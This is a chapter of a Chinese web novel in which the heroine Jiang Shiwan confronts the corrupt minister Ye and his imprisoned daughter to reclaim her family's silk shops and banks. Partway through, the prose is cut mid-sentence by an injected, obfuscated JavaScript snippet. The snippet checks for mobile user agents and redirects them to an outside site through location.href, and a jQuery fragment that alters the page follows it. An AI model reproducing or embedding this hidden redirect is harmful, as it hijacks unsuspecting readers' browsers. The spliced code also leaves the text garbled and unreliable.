143.蟾宫折桂(一)
作品:《雁鸣京华》 司遥回到府上,他早早便跪候在了父亲的书房前,父亲每日起得很早,习惯在上早朝之前先读上半个时辰的书。他算着时间早早便来到了这里。
昨晚一夜未眠,他神色有些疲惫,但依旧挺直脊背目不转睛盯着书房的门口。母亲身旁的婢女见到他身影甚是欣喜,急忙转身向老夫人禀报。
门“吱呀”一声打开,只见他父亲面色严峻站在门前。
“你今日前来如果是为了不久发生的事便回去吧,就当老夫我没你这个儿子。”他父亲别过脸去,气愤甩了下官服袖子。显然他父亲已经得知了消息,“大理寺竟然敢暗中跟踪叶阁老,真是吃了熊心豹子胆。”
“父亲,叶阁老私自暗扣皇宫御用之物,您也参与其中了吗?”他直接开门见山。
兵部尚书径直走到他面前,如鹰一般的眼睛直直盯着他:“你不要插手这件事。”
“你们大理寺也不要插手这件事,昨夜你们指使知府大人绑了叶阁老之女就已经犯了大忌,叶阁老是什么人,你们怎敢去惹他?”他父亲那冷若冰霜的脸,因激动而有了温度。
“那个姑娘就是江山之女,是不是她指使你这么做的?你为何要陷入这党争之中。”他父亲蹲下来,脸凑到他面前,意味深长盯着他。
司遥猛然一抬头,双手紧紧握拳,“不是。”他从牙缝里挤出这两个字,毫不胆怯地迎上了父亲的目光。
“你永远记住,那是她江家与叶家之间的仇恨,你不要卷入进去,”
司遥眼眶微红,“父亲可她是无辜的啊,如果不是她要夺回属于她们江家的东西,也不会发生此事。”他声音有些沙哑,“私自贩卖宫中绫罗绸缎,父亲您到底有没有参与。”
兵部尚书司国安定定看着他,不管他如何躲藏,眼神却出卖了他。
“刚才说过了,你不要管,叶阁老的烂摊子他会找人收拾,你什么都不要做。”
“是要搭上你的前途吗?”司国安目光锐利如刀,伸出手去猛地拍了一下他的肩膀。
说完他整理下官服,昂头挺胸迈着坚毅的步伐向门口走去。
*
黎明破晓,江诗婉来到牢房见到曾经风光一时的她,此时却犹如被折断翅膀的鸟,失魂落魄蹲在角落里,等待命运的审判。
见到她的身影,叶幼清猛然站了起来,疯狂拍打栅栏朝她怒吼:“江诗婉,你个贱人,快放我出去。”
牢房里的静谧瞬间被打断,她上下齐手,毫不留情伸出利爪想要把她扯成碎片。
江诗婉站在原地,眼中带笑,静静盯着她发疯,嘴角忍不住扯起一抹笑。“叶家贵女,不要着急嘛,你那爱女如命的父亲就快要来救你了。”说完她仰天狂笑,越是笑得大声,眼泪流得越是快。
“你还活着,”她猛然拍了一下栅栏,揪着叶幼清的脖子,牙齿咬得“咯咯”作响,“我的父亲呢?他已经被冤枉十年有余了,这都是拜你那好父亲所赐。”
“你们叶家拿走我父亲的性命,又夺走叶家的一切,如今小女只是略施小计,让你们父女暂且分开几个时辰,你就受不了了,那我呢?”她瞪着双眼,猩红的眼睛像是要喷出火来,“我和我父亲可是分开了十年有余。”
江诗婉拽着她的头发,“你夺走我的父亲,又夺走我的至爱,你难道就没有过一丝愧疚?”她恶狠狠地摇晃着叶幼清的脑袋,疯狂撞向了栅栏,“难道你就没有一丝丝的愧疚?”
“我只是想要把属于我的东西夺回来。”
“你疯啦,松手,快松手。”叶幼清低着头,用手护着自己的头发,试着掰开她那钳子一般的手。
江诗婉猛地一推,她便摔倒在地。
“谢司珩爱的是我,又不是你这个贱人,”叶幼清撩了一下凌乱的头发,狠狠瞪着她,“你有能耐就把他抢走啊。”
“小女有洁癖,不像你男人也抢二手的。”
江诗婉扬起下巴,轻蔑地瞪着她。
“你——”叶幼清此时被怼得无话可说,她只能生气地拍着身上的尘土后气急败坏跺脚。
远处阴暗平仄的走廊处突然出现一抹鲜艳的红,江诗婉定定一看,只见叶阁老穿着一身鲜艳的红,在众人搀扶下急忙向这边奔来。他步履匆匆,有两次差点被绊倒,都被他身后的人搀扶起来。
他满脸悲痛,边走边喊着女儿的名字。
“爹爹——”叶幼清听见呼喊声,急忙趴着栏杆处左右摆手试图引起他们的注意。
江诗婉双手抱胸,望着这感人至深的场面差点掉下“泪”来,她摇着头感慨着父女情深。
他没有搭理江诗婉,径直冲了过去,二人栏杆相望。叶阁老见她头发凌乱,一身尘土,脸上也黑漆漆的,眼眶的泪却晶莹透亮,一副受了天大委屈的模样,忍不住笑出了声。
“我的女儿啊,你受苦了。”他那沙哑声响起。
“爹,你还笑,都是她,她害女儿成这样的。”叶幼清见终于有了靠山,那股傲气顿时化作眼泪刷刷流下来。
这时有二人抬搬过来一把椅子,待叶阁老缓缓会定,便把所有的心思全都放在了眼前,这个害她女儿入狱的姑娘身上。
“江诗婉,你这个阴险毒辣的姑娘,为何要谋害老夫?”
她缓缓上前一步,发出一阵不屑的笑声:“叶阁老,谋害?”
“如果说起谋害,小女还是甘拜下风的吧,谁能比得过您?”江诗婉饶有兴趣地瞥了他一眼,“十年前九个省堤坝被您授意炸毁,而后栽赃给小女的父亲,再没有比您更会谋害的了吧。”
“在这方面,小女还得称呼您一声师傅。”
坐在椅子上的叶阁老抬手示意身后的人退下,不动声色盯着眼前想要复仇的江家姑娘。“说吧,你想要什么?”
停了半晌,他终于开了口。
“和聪明的人打交道就是利落,”江诗婉把双臂垂了下来,缓缓走到他面前,揪住了他的胡子,眼眸里闪过一丝狡黠的笑。
“我要你给我的父亲陪葬。”
她一字一句,声音铿锵有力。
“江姑娘,你这口气倒不小,”叶阁老嘿嘿一笑,脸上的褶子也跟着起起伏伏,“你以为老夫是被吓大的?绸缎庄的生意栽到你的手上,算老夫倒霉。不过这事说大也大,说小也小,你懂的。”
江诗婉邪魅一笑:“叶阁老,你还是老喽。”
“小女既然敢找上门来,可不是吃干饭的,手中可握着不少你的罪证,江家家产您最好一分不差全给还回来,这次小女要的是属于江家的绸缎庄、钱庄。”她眼尾微微上挑,目光寒冷得像是把匕首。
叶阁老重重拍了下椅子,声音伴着沙哑:“你个小妮子,有话好好说,别动不动就证据,证据,职业病啊。”
“你要的这些老夫都给你,给——”
“爹——,你在说什么,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500075|168818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在威胁你,威胁你,那都是咱们叶家的产业,怎么能轻易拱手让人呢?”抓着牢房栅栏的叶幼清见父亲像是变了个人,着急地提醒着他。
江诗婉紧绷的神经刚刚放松,便被猝不及防掐住脖子,只见叶阁老像是头暴怒的狮子,猛地站起来,那双满是皱纹、指关节粗大的手像是钳子一般握住了她的喉咙。粗糙的双手瞬间嵌入她的脖颈。
致命的窒息感瞬间袭遍整个全身,轰地一声淹灭了整个感官。她眼前一黑,冒出无数个扭曲的金星。
“你个小姑娘,还威胁起老夫来了,今日便是你的死期。”他压低嗓音,浑浊的眼睛死死盯着她,整个身体微微前倾,并下意识整理了一下有些凌乱的官服。
江诗婉定了定神,暗中握紧拳头,恐怕眼前的他并未知晓自己有些三脚猫功夫在身的。
他女儿婚仪都敢破坏,还会怕了他的威胁?
她被扼住的身体深处正蛰伏着隐蔽的力量,此时如同火山爆发瞬间迸发出能量,两只纤细的手臂异常有力,精准无比顶住了叶阁老喉咙下方。
叶阁老顿时被吓得目瞪口呆,浑身无力地瘫坐在椅子上。
“你个贱人,把我父亲怎么了?”叶幼清疯狂拍打着栅栏,“爹,爹爹——”她发出痛苦的哀嚎。
她来回拍打着牢房门和栅栏,试图冲过来阻止江诗婉,“你想要的都给你,不要伤害我爹。”
“都给你,田地、绸缎庄、钱庄,只祈求你不要伤害我爹。”叶幼清哭得差点晕厥过去,身子缓缓瘫倒在地上。
江诗婉仰天长笑,“幼清千金,你终于也尝到痛苦的滋味了,当初你可是亲手抢走了他。”
叶阁老一动也不敢动,世人皆知他不是贪生怕死之辈,但危险来临他还是想活着,何况损失的只是些钱财而已。
“幼,幼清,说了,把东西都还给你。”他清了清嗓子缓缓开口。
江诗婉猛地收回了手,“叶阁老,小女手里有太多你的罪证,不急,我慢慢陪你玩,要不了多久你我见面的次数会越来越多。”
“你这是何意?”
“过阵子你就会知晓了。”江诗婉伸出手去,“把那些绸缎庄的钥匙和账本都交上来。”
叶阁老恐惧抬眸道:“这些东西不是随身携带之物,你随老夫去取。”
“好,您最好说话算话,要不然我把这些公之于众。”江诗婉从怀中掏出一本卷宗,在他面前扬了扬。“您在内阁党羽密布,拉帮结派,甚至与裕王勾结篡位夺权,这里一一详细记录了你的罪行。”
“叶阁老,您可还记得钦天监元奇志、曾经的工部尚书朱煜,他们是为何而死,是有人栽赃陷害,还是被恶意威胁,想必您再清楚不过吧。”
“老夫何时说话不算话?”叶阁老重重咳嗽一声,沙哑嗓音响起。
江诗婉扬起嘴角,“叶阁老,期待在皇宫内见到你。”
她弯下腰去,双手撑在椅子上,面带笑容地盯着他。叶阁老听到她的话,脸色顿时变得相当难看。
“江诗婉,你究竟要做什么?为何要在皇宫内见面?”
叶幼清疯狂拍打着栅栏门。
“着什么急,幼清千金,到时候你就知晓了。”
江诗婉瞥了她一眼,转身向牢房门外走去,外面已经大亮,刺眼的阳光照进阴暗的牢房门处,她走在光影里又回过头去望了一眼当今首辅,露出了意味深长的笑。

